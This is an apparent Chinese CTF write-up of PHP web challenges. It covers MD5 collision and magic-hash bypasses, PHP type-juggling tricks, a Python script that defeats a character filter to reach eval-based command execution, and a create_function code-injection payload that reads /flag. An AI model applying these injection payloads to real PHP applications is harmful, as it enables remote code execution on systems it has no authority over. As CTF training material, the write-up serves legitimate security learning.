Misc

Web

1.RCE但是没有完全RCE

<?php
error_reporting(0);
highlight_file(__FILE__);
include "level2.php";
if(isset($_GET['md5_1'] ) && isset($_GET['md5_2'])){
    if((string)$_GET['md5_1']!==(string)$_GET['md5_2'] && md5($_GET['md5_1'])===md5($_GET['md5_2'])){
        if(isset($_POST['md5_3']) && md5($_POST['md5_3'])==$_POST['md5_3']){
            echo $level2;
        }
        else{
            echo "2 Failed";

        }
    }
    else{
        echo "1 Failed";
    }
}

第一步md5绕过。。。第一层是撞md5相同值用fastcoll。

第二层是'0e'开头的md5,用给定的字符串。如md5(CbDLytmyGm2xQyaLNhWn)

POST和GET分别对应URL中参数和POST中data。

成功后来到第二层

<?php
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
    die("Hacker!!!!!!!!");
}
eval($shell($cmd));

匹配了f,l,a,g,通配符,?,可以用多余的参数将限制绕过。

mapp = {
    "f": "t",
    "l": "r",
    "a": "e",
    "g": "s",
}
payload = """echo `cat /flag`;"""
cmd = ""
for i in payload:
    if i in mapp:
        cmd += f"$_POST[{mapp[i]}]"
    else:
        cmd += i
datasend = "shell=sprintf"
for k in mapp.keys():
    datasend += f"&{mapp[k]}={k}"
import requests as r

url = "http://localhost:9000/3z_RC3.php"
res = r.post(
    f"{url}?cmd={cmd}",
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    data=datasend,
)
r = __import__("re").search(r"flag{.*}", res.text)
print(r.group(0))

2.了解过PHP特性吗

<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    echo 1;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        echo 2;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        echo 3;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        echo 4;
    }
}

emm特性啥的...我妹学过php啊

搜出来了。。

1.preg_match绕过用数组传入绕过

2.同样的md5绕过..一个是数字一个是字符串is_num=240610708,ctype=QNKCDZO记得要反序一下(x

3.第一个科学计数法,第二个带字母的字符串114=1e9,514=99999999a

4.传入数组,NSS加上空格。

第二问

<?php
error_reporting(0);
highlight_file(__FILE__);
$nss = $_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&&isset($nss)){
    $nss_shell = create_function($shell,$nss);
}

create_function:类似lambda,但是没有调用,大概是这个样子:

function nss_shell($shell){
    $nss
}

构造如下payload可以溢出:

shell=(啥都可以)&nss=}cmd;/*

补全之后是这样:

function nss_shell($shell){
}
cmd
/*
}

所以可以运行到cmd中的内容。

构造本题payload

shell=&nss=}echo `cat /flag`;/*

即可。